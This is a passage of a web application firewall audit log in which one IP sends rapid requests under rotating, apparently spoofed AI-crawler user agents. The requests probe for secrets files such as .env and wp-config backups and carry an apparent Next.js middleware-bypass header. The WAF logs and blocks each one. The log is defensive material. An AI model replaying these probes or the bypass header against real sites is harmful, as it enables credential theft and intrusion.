X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--aeca1935-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--aeca1935-E--
--aeca1935-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.bak"] [unique_id "aqaAzmM7dE9KgIIOpQh6VwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.bak"] [unique_id "aqaAzmM7dE9KgIIOpQh6VwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.bak"] [unique_id "aqaAzmM7dE9KgIIOpQh6VwAAANU"]
Stopwatch: 1789296846411151 38172 (- - -)
Stopwatch2: 1789296846411151 38172; combined=36160, p1=273, p2=35612, p3=185, p4=15, p5=74, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aeca1935-Z--
--d4126d62-A--
[13/Sep/2026:13:54:06.491846 +0300] aqaAzmM7dE9KgIIOpQh6WAAAANQ 35.236.177.61 33926 127.0.0.1 7081
--d4126d62-B--
GET /wp-config.php.old HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d4126d62-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d4126d62-E--
--d4126d62-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.old"] [unique_id "aqaAzmM7dE9KgIIOpQh6WAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.old"] [unique_id "aqaAzmM7dE9KgIIOpQh6WAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.old"] [unique_id "aqaAzmM7dE9KgIIOpQh6WAAAANQ"]
Stopwatch: 1789296846444141 47763 (- - -)
Stopwatch2: 1789296846444141 47763; combined=45006, p1=462, p2=44329, p3=122, p4=12, p5=80, sr=194, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d4126d62-Z--
--45d4e64c-A--
[13/Sep/2026:13:54:06.557073 +0300] aqaAzisVWymXUono-eRWMgAAAAQ 35.236.177.61 33964 127.0.0.1 7081
--45d4e64c-B--
GET /laravel/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--45d4e64c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--45d4e64c-E--
--45d4e64c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/laravel/.env"] [unique_id "aqaAzisVWymXUono-eRWMgAAAAQ"]
Stopwatch: 1789296846547392 9742 (- - -)
Stopwatch2: 1789296846547392 9742; combined=7312, p1=491, p2=6604, p3=143, p4=13, p5=60, sr=243, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--45d4e64c-Z--
--db2acc23-A--
[13/Sep/2026:13:54:06.583009 +0300] aqaAzmM7dE9KgIIOpQh6WgAAANY 35.236.177.61 33948 127.0.0.1 7081
--db2acc23-B--
GET /config/.env.php HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--db2acc23-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--db2acc23-E--
--db2acc23-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/config/.env.php"] [unique_id "aqaAzmM7dE9KgIIOpQh6WgAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/config/.env.php"] [unique_id "aqaAzmM7dE9KgIIOpQh6WgAAANY"]
Stopwatch: 1789296846541751 41318 (- - -)
Stopwatch2: 1789296846541751 41318; combined=38469, p1=456, p2=37789, p3=137, p4=15, p5=71, sr=216, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--db2acc23-Z--
--b280f153-A--
[13/Sep/2026:13:54:06.591988 +0300] aqaAzisVWymXUono-eRWMwAAABQ 35.236.177.61 33970 127.0.0.1 7081
--b280f153-B--
GET /.env.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b280f153-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b280f153-E--
--b280f153-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.php.bak"] [unique_id "aqaAzisVWymXUono-eRWMwAAABQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.php.bak"] [unique_id "aqaAzisVWymXUono-eRWMwAAABQ"]
Stopwatch: 1789296846552387 39660 (- - -)
Stopwatch2: 1789296846552387 39660; combined=36781, p1=505, p2=36085, p3=113, p4=12, p5=65, sr=218, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b280f153-Z--
--c3747e44-A--
[13/Sep/2026:13:54:06.750143 +0300] aqaAzmM7dE9KgIIOpQh6WwAAAMI 35.236.177.61 33982 127.0.0.1 7081
--c3747e44-B--
GET /core/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c3747e44-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c3747e44-E--
--c3747e44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/core/.env"] [unique_id "aqaAzmM7dE9KgIIOpQh6WwAAAMI"]
Stopwatch: 1789296846741055 9156 (- - -)
Stopwatch2: 1789296846741055 9156; combined=5880, p1=987, p2=4690, p3=81, p4=9, p5=112, sr=107, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c3747e44-Z--
--69ed9e44-A--
[13/Sep/2026:13:54:06.775352 +0300] aqaAzisVWymXUono-eRWNAAAAA4 35.236.177.61 34002 127.0.0.1 7081
--69ed9e44-B--
GET /config.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--69ed9e44-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--69ed9e44-E--
--69ed9e44-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/config.php.bak"] [unique_id "aqaAzisVWymXUono-eRWNAAAAA4"]
Stopwatch: 1789296846769302 6101 (- - -)
Stopwatch2: 1789296846769302 6101; combined=4531, p1=297, p2=4122, p3=65, p4=8, p5=38, sr=129, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--69ed9e44-Z--
--49f0f642-A--
[13/Sep/2026:13:54:06.809782 +0300] aqaAzjTJ6xTvcJoem7f8UQAAAEw 35.236.177.61 34012 127.0.0.1 7081
--49f0f642-B--
GET /configuration.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--49f0f642-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--49f0f642-E--
--49f0f642-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/configuration.php.bak"] [unique_id "aqaAzjTJ6xTvcJoem7f8UQAAAEw"]
Stopwatch: 1789296846803553 6311 (- - -)
Stopwatch2: 1789296846803553 6311; combined=4589, p1=280, p2=4192, p3=65, p4=7, p5=45, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49f0f642-Z--
--3ccae92f-A--
[13/Sep/2026:13:54:06.853323 +0300] aqaAzjTJ6xTvcJoem7f8UwAAAFY 35.236.177.61 34032 127.0.0.1 7081
--3ccae92f-B--
GET /.env.swp HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--3ccae92f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--3ccae92f-E--
--3ccae92f-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.swp"] [unique_id "aqaAzjTJ6xTvcJoem7f8UwAAAFY"]
Stopwatch: 1789296846847168 6219 (- - -)
Stopwatch2: 1789296846847168 6219; combined=4555, p1=233, p2=4202, p3=73, p4=7, p5=40, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3ccae92f-Z--
--e3956b6b-A--
[13/Sep/2026:13:54:07.013149 +0300] aqaAz2M7dE9KgIIOpQh6XAAAAMs 35.236.177.61 34034 127.0.0.1 7081
--e3956b6b-B--
GET /public/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e3956b6b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e3956b6b-E--
--e3956b6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/public/.env"] [unique_id "aqaAz2M7dE9KgIIOpQh6XAAAAMs"]
Stopwatch: 1789296847002486 10739 (- - -)
Stopwatch2: 1789296847002486 10739; combined=5920, p1=903, p2=4854, p3=102, p4=11, p5=49, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3956b6b-Z--
--5d3cc76d-A--
[13/Sep/2026:13:54:07.057891 +0300] aqaAz0wu1RSkptiiNIX7hQAAAJE 35.236.177.61 34050 127.0.0.1 7081
--5d3cc76d-B--
GET /wp/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5d3cc76d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5d3cc76d-E--
--5d3cc76d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp/.env"] [unique_id "aqaAz0wu1RSkptiiNIX7hQAAAJE"]
Stopwatch: 1789296847051355 6589 (- - -)
Stopwatch2: 1789296847051355 6589; combined=4991, p1=356, p2=4483, p3=101, p4=8, p5=43, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d3cc76d-Z--
--c63f152e-A--
[13/Sep/2026:13:54:07.079693 +0300] aqaAz2M7dE9KgIIOpQh6XQAAAMY 35.236.177.61 34062 127.0.0.1 7081
--c63f152e-B--
GET /storage/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c63f152e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c63f152e-E--
--c63f152e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/storage/.env"] [unique_id "aqaAz2M7dE9KgIIOpQh6XQAAAMY"]
Stopwatch: 1789296847073542 6249 (- - -)
Stopwatch2: 1789296847073542 6249; combined=4719, p1=275, p2=4327, p3=68, p4=7, p5=42, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c63f152e-Z--
--c741d447-A--
[13/Sep/2026:13:54:07.087708 +0300] aqaAz2M7dE9KgIIOpQh6XgAAAM0 35.236.177.61 34076 127.0.0.1 7081
--c741d447-B--
GET /web/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
